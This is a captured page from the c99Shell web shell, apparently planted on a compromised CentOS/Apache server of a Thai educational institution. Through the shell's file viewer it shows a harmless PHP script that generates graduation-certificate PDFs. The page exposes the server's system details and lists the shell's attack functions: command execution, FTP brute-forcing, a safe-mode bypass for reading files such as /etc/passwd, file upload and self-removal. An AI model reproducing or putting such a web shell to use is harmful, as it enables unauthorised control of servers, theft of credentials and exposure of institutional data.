!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rptRis121.php (7.78 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
define
('FPDF_FONTPATH',$this->config->item('path_application').'/font/');

class 
PDF extends FPDF
{
}
//Create new pdf file
$pdf=new PDF();

//Set thai font
$pdf->SetThaiFont();

$pdf->AliasNbPages();

//Open file
$pdf->Open();

//Disable automatic page break
$pdf->SetAutoPageBreak(false);

//Set margin page.
$pdf->SetLeftMargin(25);
$pdf->SetRightMargin(25);


if(
$typeSt=='1' || $typeSt=='2') {//loop 1
    
if($rs_std->num_rows()){//loop 1.1
        
foreach($rs_std->result() as $row) {//loop 1.2            
            //Add first page
            
$pdf->AddPage();            
            
            list(
$yy$mm$dd) = preg_split("[-]"$row->stdAdmitDate);
            list(
$yy2$mm2$dd2) = preg_split("[-]"$row->stdGraduateDate);
            
            
//Title
            
$pdf->SetFont('AngsanaNew','B',12);
            
$pdf->Cell(0,0,'RIS121',0,0,'R');
            
            
//Garuda
            
$pdf->Image(base_url().$this->config->item("rg_mark"),90,15,30,33);
            
            
$pdf->SetY(58);
            
$pdf->SetFont('AngsanaNew','',16);
            
$pdf->Cell(80,0,'ที่ สธ……………/ เลขที่ออก……………',0,0,'L');
            
$pdf->Cell(0,0,iconv('UTF-8','CP874',$cfgSiteName),0,0,'L');
            
$pdf->Ln(7);
            
$pdf->SetX(105);
            
$pdf->Cell(0,0,iconv('UTF-8','CP874',$cfgClgAddr),0,0,'L');
            
$pdf->Ln(18);
            
$pdf->SetX(43);
            
$pdf->Cell(50,10,'หนังสือฉบับนี้ให้ไว้เพื่อรับรองว่า',0,0,'L');
            
$pdf->Cell(60,10,iconv('UTF-8','CP874',$row->prefixName.$row->stdName.' '.$row->stdSurname),0,0,'C');
            
$pdf->Cell(0,10,'เป็นผู้สำเร็จการศึกษา',0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(20,10,'หลักสูตร',0,0,'L');
            
$pdf->Cell(0,10,iconv('UTF-8','CP874',$row->curName),0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(0,10,'จาก  '.iconv('UTF-8','CP874',$cfgSiteName.'          '.$cfgMinistry),0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(37,10,'ได้เข้าศึกษา  ตั้งแต่วันที่',0,0,'L');
            
$pdf->Cell(5,10,intval($dd),0,0,'C');
            
$pdf->Cell(9,10,'เดือน',0,0,'L');
            
$pdf->Cell(19,10,iconv('UTF-8','CP874',getMonthTh($mm)),0,0,'C');
            
$pdf->Cell(8,10,'พ.ศ.',0,0,'L');
            
$pdf->Cell(0,10,$yy,0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(35,10,'จบการศึกษา  เมื่อวันที่',0,0,'L');
            
$pdf->Cell(5,10,intval($dd2),0,0,'C');
            
$pdf->Cell(9,10,'เดือน',0,0,'L');
            
$pdf->Cell(19,10,iconv('UTF-8','CP874',getMonthTh($mm2)),0,0,'C');
            
$pdf->Cell(8,10,'พ.ศ.',0,0,'L');
            
$pdf->Cell(0,10,$yy2,0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(0,10,'จึงออกหนังสือรับรองฉบับนี้ไว้เป็นหลักฐาน',0,0,'L');
            
$pdf->Ln(24);
            
$pdf->SetX(80);
            
$pdf->Cell(24,7,'ให้ไว้  ณ  วันที่',0,0,'L');
            
$pdf->Cell(5,7,intval(date('d')),0,0,'C');
            
$pdf->Cell(9,7,'เดือน',0,0,'L');
            
$pdf->Cell(19,7,iconv('UTF-8','CP874',getMonthTh(date('m'))),0,0,'C');
            
$pdf->Cell(8,7,'พ.ศ.',0,0,'L');
            
$pdf->Cell(0,7,date('Y')+543,0,0,'L');
            
$pdf->Ln(24);
            
            
$pdf->SetX(80);
            
$pdf->Cell(80,0,'('.iconv('UTF-8','CP874',$prs_name).')',0,0,'C');
            
$pdf->Ln(6);
            if(
$directorType!='') {
                
$pdf->SetX(80);
                
$pdf->Cell(80,0,iconv('UTF-8','CP874',$directorType),0,0,'C');
                
$pdf->Ln(6);
            }
            
$pdf->SetX(80);
            
$pdf->Cell(80,0,'ผู้อำนวยการ'.iconv('UTF-8','CP874',$cfgSiteName),0,0,'C');
            
            
$pdf->SetY(200);
            
$pdf->Cell(25,30,'',1,0,'C');
            
$pdf->SetY(240);
            
$pdf->Cell(0,0,'………………………………...ลายมือชื่อนักศึกษา',0,0,'L');
            
$pdf->Ln(6);
            
$pdf->Cell(0,0,'(ชื่อ-สกุลตัวบรรจง)',0,0,'L');
        }
//end loop 1.2
        //Create file
        
$pdf->Output();
    }
//end loop 1.1
    
else{
?>
        <meta http-equiv="Content-Type" content="text/html; charset=tis-620" />
        <table align="center">
            <tr>
                <td align="center"><font face="Microsoft Sans Serif" color="<?=$font_color_err;?>" size="2">** ไม่ปรากฏรายการในฐานข้อมูล **<br>
                <a href="#" onClick="window.close()">[ปิดหน้านี้]</a></font></td>
            </tr>
        </table>
<?
    
}
}
//end loop 1
else if($typeSt==3) {//loop 3
    
$cnt 0;
    
$fp fopen($filename"r");
    while(!
feof($fp)) {//loop 3.1
        
$char fgets($fp);
        @list(
$bNo$stCode)=preg_split('[,]'$char);
        
$bNo trim($bNo);
        
$stCode trim(str_replace(" """$stCode));
        
//-----------------------------------------------------------------------
        
$con_std = array('stdCode'    => $stCode'stdGenStatus' => 'Y');
        
$ord_std = array('stdCode'    => 'ASC');
        
$grp_std = array('stdCode'    => 'stdCode');
        
$rs_std $std->qryStdJoinPfSdtCurGen($con_std$ord_std$grp_std);
        if(
$rs_std->num_rows()) {//loop 3.2    
            
$cnt++;
            
$row $rs_std->row();
            
//Add first page
            
$pdf->AddPage();            
            
            list(
$yy$mm$dd) = preg_split("[-]"$row->stdAdmitDate);
            list(
$yy2$mm2$dd2) = preg_split("[-]"$row->stdGraduateDate);
            
            
//Title
            
$pdf->SetFont('AngsanaNew','B',12);
            
$pdf->Cell(0,0,'RIS121',0,0,'R');
            
            
//Garuda
            
$pdf->Image(base_url().$this->config->item("rg_mark"),90,15,30,33);
            
            
$pdf->SetY(58);
            
$pdf->SetFont('AngsanaNew','',16);
            
$pdf->Cell(80,0,'ที่ '.$bNo,0,0,'L');
            
$pdf->Cell(0,0,iconv('UTF-8','CP874',$cfgSiteName),0,0,'L');
            
$pdf->Ln(7);
            
$pdf->SetX(105);
            
$pdf->Cell(0,0,iconv('UTF-8','CP874',$cfgClgAddr),0,0,'L');
            
$pdf->Ln(18);
            
$pdf->SetX(43);
            
$pdf->Cell(50,10,'หนังสือฉบับนี้ให้ไว้เพื่อรับรองว่า',0,0,'L');
            
$pdf->Cell(60,10,iconv('UTF-8','CP874',$row->prefixName.$row->stdName.' '.$row->stdSurname),0,0,'C');
            
$pdf->Cell(0,10,'เป็นผู้สำเร็จการศึกษา',0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(20,10,'หลักสูตร',0,0,'L');
            
$pdf->Cell(0,10,iconv('UTF-8','CP874',$row->curName),0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(0,10,'จาก  '.iconv('UTF-8','CP874',$cfgSiteName.'          '.$cfgMinistry),0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(37,10,'ได้เข้าศึกษา  ตั้งแต่วันที่',0,0,'L');
            
$pdf->Cell(5,10,intval($dd),0,0,'C');
            
$pdf->Cell(9,10,'เดือน',0,0,'L');
            
$pdf->Cell(19,10,iconv('UTF-8','CP874',getMonthTh($mm)),0,0,'C');
            
$pdf->Cell(8,10,'พ.ศ.',0,0,'L');
            
$pdf->Cell(0,10,$yy,0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(35,10,'จบการศึกษา  เมื่อวันที่',0,0,'L');
            
$pdf->Cell(5,10,intval($dd2),0,0,'C');
            
$pdf->Cell(9,10,'เดือน',0,0,'L');
            
$pdf->Cell(19,10,iconv('UTF-8','CP874',getMonthTh($mm2)),0,0,'C');
            
$pdf->Cell(8,10,'พ.ศ.',0,0,'L');
            
$pdf->Cell(0,10,$yy2,0,0,'L');
            
$pdf->Ln(10);
            
$pdf->Cell(0,10,'จึงออกหนังสือรับรองฉบับนี้ไว้เป็นหลักฐาน',0,0,'L');
            
$pdf->Ln(24);
            
$pdf->SetX(80);
            
$pdf->Cell(24,7,'ให้ไว้  ณ  วันที่',0,0,'L');
            
$pdf->Cell(5,7,intval(date('d')),0,0,'C');
            
$pdf->Cell(9,7,'เดือน',0,0,'L');
            
$pdf->Cell(19,7,iconv('UTF-8','CP874',getMonthTh(date('m'))),0,0,'C');
            
$pdf->Cell(8,7,'พ.ศ.',0,0,'L');
            
$pdf->Cell(0,7,date('Y')+543,0,0,'L');
            
$pdf->Ln(24);
            
            
$pdf->SetX(80);
            
$pdf->Cell(80,0,'('.iconv('UTF-8','CP874',$prs_name).')',0,0,'C');
            
$pdf->Ln(6);
            if(
$directorType!='') {
                
$pdf->SetX(80);
                
$pdf->Cell(80,0,iconv('UTF-8','CP874',$directorType),0,0,'C');
                
$pdf->Ln(6);
            }
            
$pdf->SetX(80);
            
$pdf->Cell(80,0,'ผู้อำนวยการ'.iconv('UTF-8','CP874',$cfgSiteName),0,0,'C');
            
            
$pdf->SetY(200);
            
$pdf->Cell(25,30,'',1,0,'C');
            
$pdf->SetY(240);
            
$pdf->Cell(0,0,'………………………………...ลายมือชื่อนักศึกษา',0,0,'L');
            
$pdf->Ln(6);
            
$pdf->Cell(0,0,'(ชื่อ-สกุลตัวบรรจง)',0,0,'L');
        }
//end loop 3.2
        //-----------------------------------------------------------------------
    
}//end loop 3.1
    
if($cnt>0){
        
//Create file
        
$pdf->Output();
    }else{
?>
    <meta http-equiv="Content-Type" content="text/html; charset=tis-620" />
    <table align="center">
        <tr>
            <td align="center"><font face="Microsoft Sans Serif" size="2">** ไม่ปรากฏรหัสนักศึกษาดังกล่าว **<br>
            <a href="#" onClick="window.close()">[ปิดหน้านี้]</a></font></td>
        </tr>
    </table>
<?
    
}
}
//end loop 3
else {
?>
    <meta http-equiv="Content-Type" content="text/html; charset=tis-620" />
    <table align="center">
        <tr>
            <td align="center"><font face="Microsoft Sans Serif" size="2">** ไม่ปรากฏรหัสนักศึกษาดังกล่าว **<br>
            <a href="#" onClick="window.close()">[ปิดหน้านี้]</a></font></td>
        </tr>
    </table>
<?php
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0103 ]--